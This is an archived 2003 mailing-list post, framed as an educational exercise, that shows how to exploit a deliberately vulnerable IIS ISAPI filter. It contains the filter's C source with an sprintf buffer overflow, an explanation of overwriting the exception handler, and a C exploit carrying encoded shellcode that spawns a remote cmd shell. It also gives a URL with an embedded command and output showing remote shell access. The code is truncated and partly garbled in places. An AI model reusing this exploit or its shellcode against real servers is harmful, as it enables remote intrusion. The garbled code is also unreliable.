|
|||||||||||
|
An exercise to exploit IIS ISAPI filter
From: <master_moda(at)yahoo.com>
Date: Tue Jan 14 2003 - 23:39:14 EST ('binary' encoding is not supported, stored as-is) An exercise to exploit Internet Information Server on W2000 --This paper intended for educational purpose only. +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Long time back when Codered and Nimda spread across the internet, my computers were hardhit by them. After lots of effort of cleaning the virus, I began curious how they manage to reproduce around the Internet and pass into corperate firewall. Thus I disassembled codered (following the description from eeye) and another well known for-fun virus named jill, ...... And finally as an exercise, I developed a vulnerable ISAPI filter (see below) and sucessfully exploited it. The filter is used by IIS on Window 2000 server. Here is the steps I like to share with other system administrators like me who want to know how the virus works:
1.
<========================Logger.cpp===========================>#include <EXCPT.H> #include <WTYPES.H> BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
BOOL WINAPI __stdcall
//set the flags and request the notications that we need for this to work pVer->dwFlags = (SF_NOTIFY_SECURE_PORT | SF_NOTIFY_NONSECURE_PORT |
//SF_NOTIFY_END_OF_NET_SESSION | SF_NOTIFY_LOG );
pVer->dwFilterVersion = HTTP_FILTER_REVISION;
strcpy( pVer->lpszFilterDesc, "Server Type Changer");
return TRUE;
DWORD WINAPI __stdcall
VOID * pvNotification)
{
PHTTP_FILTER_LOG pLogData;
OutputDebugString("Entered HttpFilterProc\n");
switch (notificationType)
{
case SF_NOTIFY_LOG:
{
OutputDebugString("HttpFilterProc:Logging\n");
TCHAR sz[256];
pLogData = (PHTTP_FILTER_LOG)pvNotification;
sprintf(sz, "Client Machine: %s , Username: %s,
Server\
Machine: %s, Target Path: %s\n", \
pLogData->pszClientHostName,pLogData-
>pszClientUserName,\
pLogData->pszServerName, pLogData-
>pszTarget );
}
break;
default:
OutputDebugString
("HttpFilterProc:Default\n");
break;
}
return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
<=============================================================> The function of this filter is merely to log the HTTP request from client. As you can see, the function sprintf has a buffer overflow bug and this is the weak point to insert our exploitation code.
2.
3.
When a malicious client send the exploit code to the vulerable IIS, exploit code will reach the IIS memory space because ISAPI filter was loaded into the same memory space as its host--IIS. As the exploit code overflow the buffer, the return address of normal function call got messed up inside IIS filter. And not only that, We will let the exploit code continue overflowing the memory as far as the excepion handler----the handler is replaced by an address(0x77ed5c99) inside kernel.dll, This address contain instruction "call ebx" in my W2000 configuration. An Access violation exception happen when IIS filter handling the malicious HTTP request and as a result, system will resort the exception handler to clean the mess. But remember that the exception handler itself got overwritten also, it is now point to "call ebx", so the IIS instruction flow into whatever location the register ebx point to. You may figure out that register ebx contain an address not far away from our exploit code when exception is raised. Thus when system invoke exception handler to clean the mess, the instruction flow divert into our exploit code. The exploit code will then do the following, in a roughly order: -- spawn a cmd shell with read/write pipe handler -- modify another dll----msw3prt.dll inside IIS memory in such waythat any invocation to this dll got divert into our exploit code. Also note that the invocation URL to msw3prt will has exploit command embedded inside, for example:
http://victim/null.printer?net[user.
5.
========================moda.c============================================
#define SIZE 4106
#include <sys/types.h>
int main(int argc, char *argv[]){ unsigned char httpheader1[20]= // GET /HERO.htm" "\x47\x45\x54\x20" "\x2f\x48\x45\x52" "\x4f\x2e\x68\x74" "\x6d\x00"; unsigned char httpheader2[256]= "\xeb\x06\x90\x90" "\x99\x5c\xed\x77" "\x81\xc3\xde\xfc" "\xff\xff\xff\xd3" "\x20\x20\x48\x54" "\x54\x50\x2f\x31" "\x2e\x30\x0D\x0A" "\x43\x6F\x6E\x74" "\x65\x6E\x74\x2D" "\x74\x79\x70\x65" "\x3a\x20\x74\x65" "\x78\x74\x2f\x78" "\x6d\x6c\x20\x41" "\x63\x63\x65\x70" "\x74\x3a\x20\x2a" "\x2f\x2a\x0a\x43" "\x6f\x6e\x74\x65" "\x6e\x74\x2d\x6c" "\x65\x6e\x67\x74" "\x68\x3a\x20\x32" "\x37\x30\x34\x20" "\x0d\x0a\x0d\x0a" "\x00";
char payload[]=
"\x7f" "\x13\x97\x96\x96\xcc\x2e\x96\x96\x67\xe1\x17\xae\xdb\xcc\x06\x96" "\xe2\x95\xde\x7d\x63\x1d\x4e\x1d\xe5\xaa\x95\x65\x1d\xe0\xee\x95" "\x65\x1d\xe8\xb6\x95\x6d\x1d\xd8\x82\xa5\x7b\xc0\xc1\xc7\x1d\xa9" "\x95\x6d\x1d\x64\x2f\x98\x96\x96\x96\x65\x30\xe2\x9e\xcf\xc9\x15" "\x51\x92\xd3\x74\x71\xcf\xc9\xc8\x1d\x5b\x1d\xd0\xb2\x95\x55\x47" "\x77\x95\x57\xa5\x5f\xf0\x1d\x9e\x1d\xd0\x8a\x95\x55\x57\x77\x94" "\x95\x57\x1d\x96\x95\x55\x1d\x64\x1d\x68\x1d\x46\x2f\x9a\x96\x96" "\x96\x7e\x96\x97\x96\x96\xa5\x56\x3a\x13\x56\xe3\x6f\xc4\xc0\x69" "\xc1\x46\xcc\x1d\x4e\x2f\x97\x96\x96\x96\x7e\x71\x96\x96\x96\xfe" "\x96\x93\x96\x96\xfc\xd6\x69\xc1\x76\x1f\xd1\x9e\x51\xd1\x8a\x9a" "\x96\x96\x96\x51\xd1\xb6\x96\x96\x96\x96\x51\xd1\xb2\x97\x96\x96" "\x96\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x9a\xc6\x1b\xd1\x86\xc6\x69" "\xc1\x46\xfc\x96\x1b\xd1\x8a\xc6\x1b\xd1\x82\xc6\x1b\xd1\x8e\xc6" "\x69\xc1\x46\x1b\xd1\xbe\xc6\x69\xc1\x42\x1d\xd1\x9a\x1f\xd1\xf2" "\x1f\xd1\xfe\x1d\xd1\x8e\x1f\xd1\xf6\x17\xd9\xc2\x97\x97\x96\x96" "\xf0\x51\xd1\xce\x96\x96\x1b\xd1\xfa\xc6\x1b\xd1\xbe\xc6\xa5\x56" "\xc6\xc6\xc6\xfc\x97\xc6\xc6\x1d\x79\x17\x53\x3e\x96\x96\x96\xc3" "\xc6\x69\xc1\x4e\x69\xe1\x9a\x69\xc1\x6e\x69\xe1\x8e\x69\xc1\x6e" "\x1b\xd1\x92\xc6\xfc\x92\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69" "\xc1\x7a\xc0\xc5\x1d\x49\x1b\x21\x26\x96\x96\x96\x15\x50\x9f\x1b" "\x11\x56\x96\x96\x96\x1f\x90\x15\x50\x61\x1d\xed\x6a\x2f\x99\x96" "\x96\x96\x65\x32\x1d\x6d\xcd\xc8\x1b\xd1\x92\xc6\x1d\xd1\x92\xc6" "\xfe\x96\x97\x96\x96\x1d\xc1\x6a\xc4\x69\xc1\x7a\xfe\x96\x4b\xfb" "\x96\x69\xc1\x66\x7d\x60\xa5\x56\x3a\x13\x56\xe3\x6f\xc7\xc4\xc0" "\xc5\x69\x44\xcc\xcf\x3d\x74\x78\x55\x7e\xe0\x68\x69\x69\xd1\xf3" "\xe2\xc6\xe4\xf9\xf5\xd7\xf2\xf2\xe4\xf3\xe5\xe5\x96\xda\xf9\xf7" "\xf2\xda\xff\xf4\xe4\xf7\xe4\xef\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3" "\xc6\xff\xe6\xf3\x96\xd1\xf3\xe2\xc5\xe2\xf7\xe4\xe2\xe3\xe6\xdf" "\xf8\xf0\xf9\xd7\x96\xd5\xe4\xf3\xf7\xe2\xf3\xc6\xe4\xf9\xf5\xf3" "\xe5\xe5\xd7\x96\xc6\xf3\xf3\xfd\xd8\xf7\xfb\xf3\xf2\xc6\xff\xe6" "\xf3\x96\xd1\xfa\xf9\xf4\xf7\xfa\xd7\xfa\xfa\xf9\xf5\x96\xc1\xe4" "\xff\xe2\xf3\xd0\xff\xfa\xf3\x96\xc4\xf3\xf7\xf2\xd0\xff\xfa\xf3" "\x96\xc0\xff\xe4\xe2\xe3\xf7\xfa\xc6\xe4\xf9\xe2\xf3\xf5\xe2\x96" "\xc5\xfa\xf3\xf3\xe6\x96\xd3\xee\xff\xe2\xc6\xe4\xf9\xf5\xf3\xe5" "\xe5\x96\xd5\xfa\xf9\xe5\xf3\xde\xf7\xf8\xf2\xfa\xf3\x96\xdb\xc5" "\xc1\xa5\xc6\xc4\xc2\x96\xde\xe2\xe2\xe6\xd3\xee\xe2\xf3\xf8\xe5" "\xff\xf9\xf8\xc6\xe4\xf9\xf5\x96\x06\x06\x06\x06\x06\x06\x06\x06" "\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06\x06" "\x06\x06\x06\x06\x06\x06\x06\x06\x96\x96\xf5\xfb\xf2\xb8\xf3\xee" "\xf3\x96\x06\x06\x06\x06\x06\x06\x06\x06\x2e\x96\x96\x67\xe1\x69" "\x46\x96\x06\x06\x06\x15\x52\x92\xf6\x7e\x96\x96\x96\x96\xc9\x17" "\x79\x5a\x96\x96\x96\x1d\xcb\x86\xfc\x96\xc1\xa5\x56\xa5\x44\x1d" "\xe5\xf2\x3a\xd4\x15\x6e\xcd\xe3\x92\x50\xd0\x69\xb6\x13\x56\xe3" "\x67\x50\xd0\x69\x9b\x50\x90\x9c\x50\xd0\x97\x96\xd4\xc4\x69\xe5" "\xf2\x69\xe1\x82\x69\xc1\x72\xfc\xf2\x69\xc1\x66\xa5\x5f\xc7\xc1" "\xc7\xc7\xc7\x69\xe1\x86\x69\xc1\x4a\x13\x56\xe2\xa6\x16\xa9\x96" "\xe2\xb1\xfc\x96\xc1\xfe\x96\x93\x96\x96\x69\xe1\x9e\x69\xe1\x86" "\x69\xc1\x7e\x13\x56\xe2\x80\xfc\x96\xc1\x69\xe1\x9e\x1d\xdd\x9e" "\xc7\x69\x05\x12\x96\x96\x96\x7d\x28\xf7\x54\x92\x96\xfc\x97\x69" "\xc1\x62";
unsigned char *ptr;
int s;
if (argc != 3){
if ((ht = gethostbyname(argv[1])) == 0){ herror(argv[1]); exit(1); } sin.sin_port = htons(atoi(argv[2])); sin.sin_family = AF_INET; sin.sin_addr = *((struct in_addr *)ht->h_addr);
ptr=sploit;
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
} printf("\nconnecting... \n"); if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
perror("connect");
exit(1);
}
write(s, sploit, SIZE-ADJUST);
printf("sent... \n");
6.
>From explorer address send the URL
after a while, the browser got response:
D:\WINNT\system32>dir
Directory of D:\WINNT\system32 07/11/2002 10:46p D:\WINNT\system32>
P.S.
2. The IIS URLScan is a ISAPI filter that try to catch malicious URL: A extreme long URL like the one in our exploit may have malicious code embeded inside, so web master can preset the maximum size of URL allowed. A URL with non-ascii byte inside is also dangerous, URLScan isalso able to catch that. Received on Fri Jan 17 15:43:03 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:37 EDT |
||||||||||
|
|||||||||||